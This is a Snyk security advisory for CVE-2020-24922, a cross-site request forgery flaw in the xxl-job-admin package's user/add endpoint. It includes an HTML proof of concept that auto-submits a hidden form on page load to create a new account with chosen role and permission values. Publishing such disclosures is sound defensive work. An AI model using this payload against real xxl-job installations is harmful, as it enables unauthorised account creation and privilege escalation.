Cross-site Request Forgery (CSRF) Affecting com.xuxueli:xxl-job-admin package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published13 Aug 2023
- disclosed11 Aug 2023
- creditdevi1syd
Introduced: 11 Aug 2023
CVE-2020-24922 (opens in a new tab)How to fix?
There is no fixed version for com.xuxueli:xxl-job-admin.
Overview
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the xxl-job-admin/user/add functionality, which allows remote attackers to execute arbitrary code and to escalate privileges via a crafted .html file.
PoC
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='username' value='test1' />";
fields += "<input type='hidden' name='password' value='test1' />";
fields += "<input type='hidden' name='role' value='0' />";
fields += "<input type='hidden' name='permission' value='1' />";
var url = "http://172. 18.71.41:8090/xxl-job-admin/user/add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>